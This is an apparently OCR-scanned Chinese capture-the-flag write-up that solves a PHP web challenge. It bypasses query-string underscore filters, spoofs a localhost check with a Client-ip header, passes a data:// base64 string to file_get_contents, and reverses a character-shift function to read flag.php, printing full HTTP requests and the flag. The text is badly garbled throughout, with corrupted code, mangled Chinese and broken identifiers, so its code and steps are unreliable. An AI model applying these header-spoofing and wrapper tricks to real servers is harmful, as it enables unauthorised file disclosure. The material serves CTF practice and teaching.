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fquery = $_SERVER[ QUERY_STRING']:

if { subsztr_count ($query, "_7) '== 0 || substr_court ($query, "%5£7) 1= 0 3]
die{ ¥0u are So cutE!’);

1

if (5 GETU b u_p t'1 '== 723333 &b preg_match( /2333387, $_GETCb_uwp t’ 1001
echo “vou are going to the next 7

1
>

WU ok R —EifERER, RE-E—ER#
[ Seobs X B A% A
[QUERY_STRING';

if( substr_count( ) 0 || substr_count( , '%5f")
die("YOu are So cutE!");

['b_u_p_t'] '23333' preg_match('/"23333%/,
echo "you are going to the next ~";

B %% $ SERVER['QUERY_STRING'] KIMEIRZ2E & $query
XF $_SERVER['QUERY_STRING'] $KEX {4 :

1, http://localhost/aaa/ (T FFaaa= flindex.php)
iR

$_SERVER['QUERY_STRING'] = “”;
$_SERVER['REQUEST_URI] = “/aaal’;
$_SERVER['SCRIPT_NAME'] = “/aaalindex.php’;
$_SERVER['PHP_SELF’] = “/aaal/index.php’;

2, http://localhost/aaa/?p=222 (£ #])

iR

$_SERVER['QUERY_STRING'] = “p=222";
$_SERVER['REQUEST_URI] = “/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = “/aaalindex.php’;
$_SERVER['PHP_SELF’] = “/aaa/index.php’;

3, http://localhost/aaa/index.php?p=222&q=333

iR

$_SERVER['QUERY_STRING’] = “p=222&q=333";
$_SERVER['REQUEST_URI] = “/aaa/index.php?p=2228&q=333";
$_SERVER['SCRIPT_NAME'] = “/aaa/index.php”;

$ SERVER[‘PHP_SELF’] = “/aaal/index.php”;
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Flag is here~But how to get it? <7pnp
error_reporting (0);

include ' takeip.php’

ini_set (T open basedir’,’.’ )

include ' flag.php' :

if (isset ($_POST[ Merak’ 1)) {
highlight_file(__FILE__):
die();

function change ($v) {
fv = basefid decode(fv):

fre = :
for (3i=0:fi<strlen(fuv)  $iet) |
fre .= chr { ord (w[$i]) + Hix2 I,

B

return  fre;
1
echo "Local access only!’. "<br/>";
fip = getIpl):
1f (fip!="127.0.0.17)
echo  “Sorry,vou don’t have permiszsion! Your ip iz " fip;
1f (fip === "127.0.0.1" && file_get_contents (§_GET[ 2333°]) === ’todat is a happy day" J{

echo  “Tour EEQUEST is:". change ($_GET[ file’]):
echo file_get_contentsichange (§_GET[ £ile’1)): 1}
g
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Flag is here~But how to get it
error_reporting(0);

include 'takeip.php’;
ini_set('open_basedir',".");
include 'flag.php';

if(isset( ['Merak'])){
highlight_file(__FILE_);
die();

unction change($v){
base64_decode($v);
for($i=0;$i<strlen($v);$i++){
chr (‘ord ($v[$i]) 2);
}

return

}
lecho 'Local access only!".
getlp();
'127.0.0.1")

lecho "Sorry,you d have permission! Your ip is :".

if( '127.0.0.1" file_get_contents( ['2333']) === "todat is a happy day' }{
lecho "Your REQUEST is:".change($_GET['file']);

lecho file_get contents(change($_GET['file'])); }
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BATEL BT POSTIR A Merak 518 T IS, JSHEMAHEIRZPOSTT, MRS Whighlight filemR ik, 4k4:F FHEHAIEH,
HE ffichange R BB I ANE, REMFZRFAN, FEXRRS
Je TH F)

D= qgetIn():N 1% 2AF H T L EHitakein.nhn ™ B R B SRIFI R P imin, FEIRE R Kokt A& ip

LI k

'127.0.0.1' file_get contents( ['2333') 'todat is a happy day' )

5k R U 7 B R AN A
BN EMESip ===127.0.0.1", XMREESWH R, REilget ipIKEFIHER127.001817 T, —K R EXFFHMClient-ipiX B
ik, A LA burpsuite R$EAL

POST isecrettw php HTTRA A

Host: de005f96-9280-4410-8415-Gc1 Beh426f3a merak-ctf site

Corntent-Length: &

Cache-Control: max-age=0

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/z.0 (Windows MNT 10.0; Wing4, x64) AppleWWebKit/a37 .36 (KHTML, like Gecko) Chrome/50.0 3987 149 Safari/237 .36
Crigin; http; Mde005f96-0280-4410-5341 5-6c1 Geb4 26182 merak-ctf site

Content-Type: applicationf-www-form-urlencoded

Accept: text/tml applicationfhtml+xml application/xml;g=0.9 imagefwebp imagefapng **;g=0.8 application/signed-exchange; v=h3;g=0.9
Referer: http: fde005f96-9280-4410-541 5-6d1 Geh4 26f8a merak-ctf sitelzecrattw php

Accept-Encaoding. gzip, deflate

Accept-Language: zh-CH zh;g=09

Connection: close

Client-ip: 127.0.0.1

Merak=

B =A% file_get_contents($_GET['2333']) === 'todat is a happy day'

B i@itfile get contenttR EUG BANKIEEN—ANFZ/FEF, HRFEREMSRWESS, FHEPEMFH===RNHESE, i
P, £33 EE EEMCTFEITMER, KX B AT MEHdata:// kT HH, BAARETUS%:
https://www.php.cn/manual/view/285.html

¥ 3N data:/ftext/plain;base64, Kitodat is a happy dayi#1Tbase64 4w 1515 2dGIkYXQgaXMgYSBoYXBweSBkYXk=, FTLATE EiE
T getiR R —A 4% N2333K 2%, 1EH A datai//text/plain;base64,dGIKYXQgaXMgYSBoYXBweSBKYXk=

BRI IEA]

lecho "Your REQUEST is:".change( ['file']);

lecho file_get_contents(change( RilEH))E

BHEB T —A% Nilefigetz %, HATREHEAZR, BAIFEmEag.phplIRE, FrUX B FEfiile_get contentf) S
flag.php

BRXEEERfle get contentER AR EH B HK $_GET[file] KE, MRAMAR T LB KchangeRBURER, FAIKRE—
Fchange s £ 1E

unction change($v){
base64_decode($v);

for($i=0;$i<strlen($v); A
.= chr (‘ord ($Vv[$i]) 2);

}

return

B A, REKEEH# Tbase64#iS (Xt HJG HPOSTS Hifile (M 44 skt 1Tbaseb4HtL) , RJEET —BforfEH,
X BeforfE 3R 11 Fl 2 5k R 3o AASCIRG, FHASCIRLIZS +$i2 ,  $i MISH1E N0, RIE B E 7/
Hpstriensm B/E AR HZRFHIEE, chr@2iBASCIFE RFRF, ord R FFFE: RASCIEF

ZAXTBASCIRL R E, BATEELH B ileSHKE N fa&No (flag.phpZidchange i #i#: Nijla&f\b) "fibase64(d,
W ARAZmpdYSZmXGEE



7 —%2¢, takeip.phpZidchangefiZi#, HATHEBERZHEAY g_af"bXp” AERMAA L, FXEBHELLE DR —iR

Frh, BATRERZHIPgetSHA

isecrettw.php & GET #3

=R | E=4 | =

URL file Zmpdy SZmXGl=

URL 2333  data:Mtextiplain bazebd dGIKY XQgaXMgy SBov XBweSBKY Xk=

EREAE T Kiptn127.0.0.1, X HBget ipH2I# % RNClient-ip

= |&

GET Izecrettw.php?file=Zmpd SZmXGl=82333=data . Mext/plain;base64 dGIKY X gaXMgy SBo Y XBweSBKY Xk= HTTPM .1

Host de005f36-9280-4410-8415-5d16eb4d268a. merak-ctf site

Cache-Control max-age=0

Upgrade-Insecure-Requests 1

User-Agent Mozilla/s.0 (Windows NT 10.0; WinE4; x64) AppleWeblit/537.38 (KHTML, like Gecko) Chrome/80.0.3%87.149 Safari537.36
Accept text/html, applicati I, applicati q=0.9,i Iwebp,i /apng,**q=0.8 application/signed-exchange;v=b3;q=0.9
Accept-Encoding gzip, deflate

Accept-Language zh-CN,zh;q=0.9

Connection close

Client-ip [127.0.01

burpsuite st B BAT E IR B T, F#EF IR

Flag is here But how to get it?Local access only!<br/>Your REQUEST is:flag. php<?php
$flag = *MRCTF {c323e009-6f72-410a-9dff-96686b411977} " ;

echo “Flag is here But how to get it?”:

?>

{—

L& B O R S R

83%flag: MRCTF{c323e009-6f72-410a-9dff-96686b411977}
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